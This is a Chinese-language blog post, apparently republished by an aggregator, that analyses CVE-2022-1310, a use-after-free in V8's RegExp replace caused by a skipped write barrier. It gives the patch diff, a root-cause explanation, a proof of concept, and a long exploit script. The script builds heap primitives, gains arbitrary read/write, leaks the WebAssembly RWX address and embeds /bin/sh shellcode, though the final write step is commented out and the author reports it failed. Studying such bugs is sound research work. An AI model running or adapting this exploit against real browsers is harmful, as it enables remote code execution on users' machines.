本文主要是介绍CVE-2022-1310：RegExp[@@replace] missing write barrier lead a UAF，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
文章目录
- 环境搭建
- 漏洞分析
- 漏洞利用
- 漏洞触发链
- RCE
- 原语构造
- 总结
- 参考
环境搭建
嗯，这里不知道是不是环境搭建的有问题，笔者最后成功的实现了任意地址读写，但是任意读写的存在限制，任意写 wasm 的 RWX 区域时会直接报错，然后任意读存在次数限制。
sudo apt install python
git reset --hard e1e92f8ba77145568e781b47b31ad82535e868bf
export DEPOT_TOOLS_UPDATE=0
gclient sync -D// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release
漏洞分析
patch 如下：
diff --git a/src/regexp/regexp-utils.cc b/src/regexp/regexp-utils.cc
index dabe5ee..b260071 100644
--- a/src/regexp/regexp-utils.cc
+++ b/src/regexp/regexp-utils.cc
@@ -49,7 +49,8 @@Handle<Object> value_as_object =isolate->factory()->NewNumberFromInt64(value);if (HasInitialRegExpMap(isolate, *recv)) {
- JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);
+ JSRegExp::cast(*recv).set_last_index(*value_as_object,
+ UPDATE_WRITE_BARRIER);return recv;} else {return Object::SetProperty(
可以看到这里仅仅将 SKIP_WRITE_BARRIER 替换成了 UPDATE_WRITE_BARRIER。原来的 SKIP_WRITE_BARRIER 标志会跳过写屏障处理，这里与 GC 有关，具体可以自行谷歌或百度，当然大概原理可以参考后面的参考文章。
简单来说，考虑如下漏洞场景：
- 对象
X在new space中，对象Y在old space中，而对象X仅仅由对象Y引用且对象X并不是全局的 - 那么如果此时触发
minor_gc，则对象X并不会被遍历mark，所以此时会将minor_gc清除释放 - 而对象
Y还保存着对象X的引用，所以如果此时操作对象Y中对对象X的引用，则导致UAF
那么为了避免上述漏洞场景发生，V8 开发人员为 GC 引入了写屏障，即在执行 object.filed = other_object 时，会将两者的引用关系添加到引用列表中，所以在上述漏洞场景的第二步准备清除对象 X 时，会发生其在引用列表中，所以此时就不会清除释放对象 X，从而避免了漏洞的产生。而这里的写屏障就是 UPDATE_WRITE_BARRIER 标志保障的，当标志为 SKIP_WRITE_BARRIER时不会执行写屏障处理。
当然了仅仅是 SKIP_WRITE_BARRIER 其实问题不太大，只要不产生对象引用即可。这里我们跟踪到上述漏洞函数：
MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,Handle<JSReceiver> recv,uint64_t value) {Handle<Object> value_as_object =isolate->factory()->NewNumberFromInt64(value);if (HasInitialRegExpMap(isolate, *recv)) {JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);return recv;} else {return Object::SetProperty(isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,StoreOrigin::kMaybeKeyed, Just(kThrowOnError));}
}
该函数就是设置 RegExp.lastIndex，而我们可以看到这里设置的类型为 Smi 或者 HeapNumber，跟进 NewNumberFromInt64 函数：
template <typename Impl>
template <AllocationType allocation>
Handle<Object> FactoryBase<Impl>::NewNumberFromInt64(int64_t value) {if (value <= std::numeric_limits<int32_t>::max() &&value >= std::numeric_limits<int32_t>::min() &&Smi::IsValid(static_cast<int32_t>(value))) {return handle(Smi::FromInt(static_cast<int32_t>(value)), isolate());}return NewHeapNumber<allocation>(static_cast<double>(value));
}
可以看到当 value 在 [smi_min, smi_max] 范围内时，返回的是一个 Smi 类型；而当 value 不在该范围内时，返回的是一个 HeapNumber 类型。
Smi 类型是不存在错误的，因为其并不是在堆上另外分配的，其会直接存储在 RegExp.lastIndex 字段中；主要的问题就是 lastIndex 有可能是 HeapNumber 类型的，其是堆上分配的对象，所以这里存在 RegExp.lastIndex 对其的引用。
因此如果一开始 RegExp 在 old space，而当程序执行到该函数时，value （即重新设置的 lastIndex）的范围不在 Smi 所表示的范围内，那么此时就会在 new space 创建一个 HeapNumber 对象然后赋给 RegExp.lastIndex。那么这里就满足上面描述的漏洞场景了：
RegExp为old space的一个对象，RegExp.lastIndex为new space的一个对象- 在设置
RegExp.lastIndex没有开启写屏障，所以此时触发minor_gc会导致RegExp.lastIndex所指对象被释放
漏洞利用
漏洞触发链
首先需要考虑的就是如何执行到 SetLastIndex 函数的 if 分支：
MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate,Handle<JSReceiver> recv,uint64_t value) {Handle<Object> value_as_object =isolate->factory()->NewNumberFromInt64(value);if (HasInitialRegExpMap(isolate, *recv)) { // <== check JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER); // <== targetreturn recv;} else {return Object::SetProperty(isolate, recv, isolate->factory()->lastIndex_string(), value_as_object,StoreOrigin::kMaybeKeyed, Just(kThrowOnError));}
}
首先想要执行到 target，则需要通过 HasInitialRegExpMap(isolate, *recv) 验证，即 RegExp 对象的 map 是否发生改变。
然后往上引用查找，可以发现在 SetAdvancedStringIndex 函数中调用了 SetLastIndex：
这里其实还要其它逻辑也会调用到
SetLastIndex函数，但是难以利用
MaybeHandle<Object> RegExpUtils::SetAdvancedStringIndex(Isolate* isolate, Handle<JSReceiver> regexp, Handle<String> string,bool unicode) {Handle<Object> last_index_obj;// 获取 lastIndex 属性ASSIGN_RETURN_ON_EXCEPTION(isolate, last_index_obj,Object::GetProperty(isolate, regexp,isolate->factory()->lastIndex_string()),Object);// 得到 lastIndex 的值ASSIGN_RETURN_ON_EXCEPTION(isolate, last_index_obj,Object::ToLength(isolate, last_index_obj), Object);// last_index 为 old_lastIndex 的值const uint64_t last_index = PositiveNumberToUint64(*last_index_obj);// new_last_index 为新的 lastIndex 的值，即就是将 old_lastindex + 1const uint64_t new_last_index =AdvanceStringIndex(string, last_index, unicode);return SetLastIndex(isolate, regexp, new_last_index);
}uint64_t RegExpUtils::AdvanceStringIndex(Handle<String> string, uint64_t index, bool unicode) {DCHECK_LE(static_cast<double>(index), kMaxSafeInteger);const uint64_t string_length = static_cast<uint64_t>(string->length());if (unicode && index < string_length) {const uint16_t first = string->Get(static_cast<uint32_t>(index));if (first >= 0xD800 && first <= 0xDBFF && index + 1 < string_length) {DCHECK_LT(index, std::numeric_limits<uint64_t>::max());const uint16_t second = string->Get(static_cast<uint32_t>(index + 1));if (second >= 0xDC00 && second <= 0xDFFF) {return index + 2;}}}return index + 1;
}
可以看到 SetAdvancedStringIndex 函数会将 lastIndex+1，然后在调用 SetLastIndex，所以如果我们让 old_lastIndex = smi_max，那么当执行到 SetAdvancedStringIndex 函数时，new_lastIndex = old_lastIndx + 1 = smi_max + 1，此时进入 SetLastIndex 函数后，就可以成功执行到 target
然后继续向上引用查找，可以发现仅有 Runtime_RegExpReplaceRT 函数调用了 SetAdvancedStringIndex，该函数在执行 replace 操作时被调用：
// Slow path for:
// ES#sec-regexp.prototype-@@replace
// RegExp.prototype [ @@replace ] ( string, replaceValue )
RUNTIME_FUNCTION(Runtime_RegExpReplaceRT) {HandleScope scope(isolate);DCHECK_EQ(3, args.length());CONVERT_ARG_HANDLE_CHECKED(JSReceiver, recv, 0);CONVERT_ARG_HANDLE_CHECKED(String, string, 1);Handle<Object> replace_obj = args.at(2); // 被替换对象Factory* factory = isolate->factory();string = String::Flatten(isolate, string); // 替换字符串// replace_obj 是否是回调函数const bool functional_replace = replace_obj->IsCallable();Handle<String> replace;if (!functional_replace) {// 不是则转换为字符串存储在 repalce 中ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, replace,Object::ToString(isolate, replace_obj));}// Fast-path for unmodified JSRegExps (and non-functional replace).// JSRegExp 没有被修改（查看IsUnmodifiedRegExp可以指的主要就是指exec属性没有被修改）则进入快速路径if (RegExpUtils::IsUnmodifiedRegExp(isolate, recv)) {// We should never get here with functional replace because unmodified// regexp and functional replace should be fully handled in CSA code.CHECK(!functional_replace);Handle<Object> result;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, result,RegExpReplace(isolate, Handle<JSRegExp>::cast(recv), string, replace));DCHECK(RegExpUtils::IsUnmodifiedRegExp(isolate, recv));return *result;}// 被替换字符串的长度const uint32_t length = string->length();// 检查是否是全局匹配Handle<Object> global_obj;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, global_obj,JSReceiver::GetProperty(isolate, recv, factory->global_string()));const bool global = global_obj->BooleanValue(isolate);bool unicode = false;if (global) { // 具有全局匹配标志（g），则会将 lastIndex 置为 0，即从头开始匹配Handle<Object> unicode_obj;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, unicode_obj,JSReceiver::GetProperty(isolate, recv, factory->unicode_string()));unicode = unicode_obj->BooleanValue(isolate);RETURN_FAILURE_ON_EXCEPTION(isolate,RegExpUtils::SetLastIndex(isolate, recv, 0));}Zone zone(isolate->allocator(), ZONE_NAME);ZoneVector<Handle<Object>> results(&zone);// 开始匹配while (true) {Handle<Object> result;// 调用 re.exec 进行匹配替换处理ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, result, RegExpUtils::RegExpExec(isolate, recv, string,factory->undefined_value()));// 匹配失败则退出循环，这里匹配失败的标志是返回 nullif (result->IsNull(isolate)) break;results.push_back(result);if (!global) break; // 不是全局匹配，则匹配一次就返回Handle<Object> match_obj; // 获取 match_obj[0]ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match_obj,Object::GetElement(isolate, result, 0));Handle<String> match; // 转换为字符串ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, match,Object::ToString(isolate, match_obj));// 如果 match->length() = 0 则会调用到 SetAdvancedStringIndex 函数if (match->length() == 0) {RETURN_FAILURE_ON_EXCEPTION(isolate, RegExpUtils::SetAdvancedStringIndex(isolate, recv, string, unicode));}}
......
主要关注的功能点如下（具体看注释）：
- 如果
re.exec没有被修改过则直接走快速路径 - 如果
re.exec被修改了则走慢速路径- 如果有设置全局匹配标志（g），则设置
lastIndex = 0 - 调用
re.exec进行匹配 [一个loop]- 如果返回
null，则break - 如果没有设置全局匹配标志（g），则
break - 检查
re.exec返回的对象（字符串）长度是否为0- 如果为
0，则调用SetAdvancedStringIndex
- 如果为
- 如果返回
- 如果有设置全局匹配标志（g），则设置
我们的目的就是调用 SetAdvancedStringIndex，所以得绕过上述相关逻辑：
- 修改
re.exec，使得执行流走慢速路径 - 设置全局匹配标志（g）防止提前
break - 在
re.exec中再次修改re.exec使其返回null，从而防止无限循环
综上所述，我们最后给出 poc：
const {log} = console;
const MAX_SMI = 1073741823;
var roots = new Array(0x30000);
var index = 0;function major_gc() {new ArrayBuffer(0x7fe00000);
}function minor_gc() {for (let i = 0; i < 8; i++) {roots[index++] = new ArrayBuffer(0x200000);}roots[index++] = new ArrayBuffer(8);
}var re = RegExp("foo", "g"); // 全局对象 re, 设置全局匹配标志 "g"
RegExp.prototype.exec = function() { return null; }; // 修改 RegExp 原型链上的 exec 函数re.exec = function() {major_gc(); // 使 re 移动到 old spacenew Array(0x10); // 分配一个 tmp bufre.lastIndex = MAX_SMI; // 设置 re.lastIndex = SMI_MAXdelete re.exec; // 删除 re.execreturn [""]; // 返回 [""]
};
var str = re[Symbol.replace]("ooo", "guys");minor_gc(); // minor_gc 释放 re.lastIndex 引用的对象
major_gc(); // 标记 re.lastIndex 对象为 livenew Array(0x40);%DebugPrint(re.lastIndex);
// 输出：
// DebugPrint: 0x177a00002469: [Oddball] in ReadOnlySpace: #hole
这里稍微解释一下 poc 的构造。我们最开始把 RegExp.prototype.exec 设置为了返回 null 的函数其主要就是为了防止无限循环。
当执行 re[Symbol.replace]("ooo", "guys"); 时：
- 会调用到
Runtime_RegExpReplaceRT函数，由于我们修改了re.exec，所以其会走慢速路径。 - 而我们设置了
g标志，所以re.lastIndex被修改为 0 - 然后调用
re.exec进行匹配：
re.exec = function() {major_gc(); // 使 re 移动到 old spacenew Array(0x10); // 分配一个 tmp bufre.lastIndex = MAX_SMI; // 设置 re.lastIndex = SMI_MAXdelete re.exec; // 删除 re.execreturn [""]; // 返回 [""]
};
re.exec返回[""]，其不为null，所以不会break。主要在re.exec中的操作，此时re已经移动到了old space区，re.lastIndex = SMI_MAX，re.exec属性被删除了- 由于设置了
g标志，所以不会break - 检查
re.exec返回的字符串长度是否为 0，这里返回的""其长度是为 0 的- 通过长度为 0 检查，从而调用
SetAdvancedStringIndex- 在
SetAdvancedStringIndex函数中new_lastIndex = old_lastIndex + 1 = SMI_MAX + 1，然后调用SetLastIndex- 在
SetLastIndex中，由于re.exec已经被删除了，所以此时可以通过HasInitialRegExpMap检查。最后成功执行到漏洞逻辑
- 在
- 在
- 通过长度为 0 检查，从而调用
- 然后会继续循环匹配，这时又会调用
re.exec，但是在第一次调用re.exec时re.exec属性被删除了，所以此时会到原型链上找，最后执行的re.exec其实就是RegExp.prototype.exec：
RegExp.prototype.exec = function() { return null; };
re.exec返回null，跳出循环，然后执行后面的代码
RCE
这里主要利用到了 v8（d8） 的一个特性：
- 引入指针压缩后，特定对象低 4 字节固定
所以其实HOLEY_DOUBLE_ELEMENTS FixedDoubleArray map的低 4 字节是固定的，考虑如下测试用例：
4 种情况的输出分别是：
DebugPrint: 0x16ac0004a4f1: [JSArray]- map: 0x16ac00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x15af0004a4f1: [JSArray]- map: 0x15af00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x10630004a4f1: [JSArray]- map: 0x106300203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
-------------------------------------
DebugPrint: 0x53b0004a481: [JSArray]- map: 0x053b00203b41 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
可以看到这里的 map 的低 4 字节是固定的 0x00203b41
这也说明了这种利用方式是针对特定版本环境的，即
exp不具备通用性
所以其实我们是没必要泄漏 map 的，接下来就是去构造对象重叠：
即我们申请一个特定大小的数组对象，并在数组中布置好 map|properties，len|element，那么就有机会形成如上图的内存布局，此时我们如果拿出 fake_obj = re.lastIndex，则 v8 会根据 map 将其解析为一个浮点数组对象。而我们可以通过 fake_array 去修改 fake_obj 的 length/element。
为什么是特定大小呢？因为特定大小的数组对象其
map/element每次分配都是固定的
原语构造
addressOf：可以将 fake_obj 的 length 改大，从而实现越界读，然后就可以读取后面的 obj 地址
arb_read_heap：这里主要是利用其来泄漏 RWX 区域的地址，我们可以修改 fake_obj 的 element 为 wasm_instance offset + ？ 从而泄漏 rwx_addr
arb_read/arb_write：喷射大量 ArrayBuffer，从而利用越界写修改 backing_store
exp 如下：
const {log} = console;
const MAX_SMI = 1073741823;
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigUint64Array(raw_buf);
var roots = new Array(0x30000);
var index = 0;function l2d(val) {l_buf[0] = val;return d_buf[0];
}function d2l(val) {d_buf[0] = val;return l_buf[0];
}function hexx(str, val) {log(str+": 0x"+val.toString(16));
}function decc(str, val) {log(str+": "+val.toString());
}function major_gc() {new ArrayBuffer(0x7fe00000);
}function minor_gc() {for (let i = 0; i < 8; i++) {roots[index++] = new ArrayBuffer(0x200000);}roots[index++] = new ArrayBuffer(8);
}var spray_chunk_arr = new Array(1000);
function spray_chunk() {for (let i = 0; i < 200; i++) {new ArrayBuffer(0x500);spray_chunk_arr[i] = new ArrayBuffer(0x10);new ArrayBuffer(0x2024);}}var re = RegExp("foo", "g");
RegExp.prototype.exec = function() { return null; };re.exec = function() {major_gc();new Array(0x10);re.lastIndex = MAX_SMI;delete re.exec;return [""];
};
var str = re[Symbol.replace]("ooo", "guys");minor_gc();
major_gc();var fake_obj = re.lastIndex;//print(l2d(0x0000226900203b19n));
//print(l2d(0x0000800000342151n));/*
1.86926619662186e-310
6.95335597662764e-310
*/var fake_array =[1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310,1.86926619662186e-310, 6.95335597662764e-310, 1.86926619662186e-310, 6.95335597662764e-310];var addressOf_array = [0x5f74, 0x5f74, fake_obj, fake_array];var spray_buf = [];
for (let i = 0; i < 0x30; i++) {spray_buf[i] = new ArrayBuffer(0x2024);
}var addressOf_idx = -1;
for (let i = 0; i < fake_obj.length; i++) {let val = d2l(fake_obj[i]);if (val == 0xbee80000bee8n) {addressOf_idx = i+1;hexx("addressOf_idx", addressOf_idx);break;}
}if (addressOf_idx == -1) {throw "Failed to leak addressOf_idx";
}var backing_store = -1;
var backing_store_idx = -1;
for (let i = 0; i < fake_obj.length-2; i++) {let val = d2l(fake_obj[i]);if (val == 0x2024n) {hexx("[===dump===]", val);hexx("[===dump===]", d2l(fake_obj[i+1]));hexx("[===dump===]", d2l(fake_obj[i+2]));fake_obj[i] = l2d(0x200n);fake_obj[i+1] = l2d(0x200n);backing_store = d2l(fake_obj[i+2]);backing_store_idx = i+2;break;}
}if (backing_store_idx == -1) {throw "Failed to leak backing_store_idx";
}hexx("backing_store", backing_store);
hexx("backing_store_idx", backing_store_idx);
var victim_idx = -1;
var dv;
for (let i = 0; i < 0x30; i++) {if (spray_buf[i].byteLength == 0x200) {log("construct evil dv successfully");fake_obj[backing_store_idx-1] = l2d(0x2026n);fake_obj[backing_store_idx-2] = l2d(0x2026n);dv = new DataView(spray_buf[i]);victim_idx = i;break;}
}if (victim_idx == -1) {throw "Failed to leak victim_idx";
}function addressOf(obj) {addressOf_array[2] = obj;return (d2l(fake_obj[addressOf_idx]) & 0xffffffffn);
}var self_idx = -1;
for (let i = 1; i < 48; i+=2) {fake_array[i] = l2d(0x800000000n);val = d2l(fake_obj[0]);if (val != 0x0000226900203b19n) {self_idx = i;fake_array[i] = 6.95335597662764e-310;break;}
}if (self_idx == -1) {throw "Failed to leak self_idx";
}
hexx("self_idx", self_idx);function arb_read_heap(off) {fake_array[self_idx] = l2d((off-8n)|0x800000000n);let val = d2l(fake_obj[0]);fake_array[self_idx] = 6.95335597662764e-310;return val;
}function arb_write(addr, val) {fake_array[self_idx] = 6.95335597662764e-310;fake_obj[backing_store_idx] = l2d(addr);dv.setFloat64(0, l2d(val), true);
}function arb_read(addr) {
// print("arb_read 1");fake_array[self_idx] = 6.95335597662764e-310;
// print("arb_read 2");fake_obj[backing_store_idx] = l2d(addr);
// fake_obj[backing_store_idx+1] = l2d(addr);
// print("arb_read 3");return dv.getBigInt64(0, true);
}var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {});
var pwn = wasm_instance.exports.main;
var wasm_instance_offset = addressOf(wasm_instance);
hexx("wasm_instance_offset", wasm_instance_offset);var rwx_addr = arb_read_heap(wasm_instance_offset+0x60n);
hexx("rwx_addr", rwx_addr);var shellcode = [0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n
];/*
for (let i = 0; i < shellcode.length; i++) {arb_write(rwx_addr, shellcode[i]);rwx_addr += 8n;
}
*//*
for (let i = 0; i < 0x100; i++) {log(i.toString(16)+" => "+d2l(fake_obj[i]).toString(16));
}
*//*
//%DebugPrint(dv.buffer);
%DebugPrint(fake_obj);
var chunk_addr = backing_store - 0x10n;
for (let i = 0; i < 50; i++) {hexx("chunk_addr", chunk_addr);let prev_size = arb_read(chunk_addr);let size = arb_read(chunk_addr+8n);hexx("size", size);hexx("prev_size", prev_size);if (size !== 0n && (size%2n) === 0n) {let prev_ptr = chunk_addr - prev_size;
// hexx("prev_ptr", prev_ptr);let fd = arb_read(prev_ptr+0x10n);
// hexx("fd", fd);let bk = arb_read(prev_ptr+0x18n);
// hexx("fd", fd);if (((fd>>48)&0xff00n) === 0x7f00n) {hexx("fd", fd);break;} else if (((bk>>48)&0xff00n) === 0x7f00n) {hexx("bk", bk);break;}}size -= ((size%2n)===0n?0n:1n);chunk_addr += size;
// print("-------------------------------------------------------");
}
*///pwn();//readline();
总结
总的来说难度不大，但是搞了好久，主要就是环境存在问题，最后的 exp 也打不通。然后对 GC 的了解也是浮于表面。
参考
https://d0ublew.github.io/writeups/osu-gaming-ctf-2024/pwn/osu-v8/index.html#osu-v8
这篇关于CVE-2022-1310：RegExp[@@replace] missing write barrier lead a UAF的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
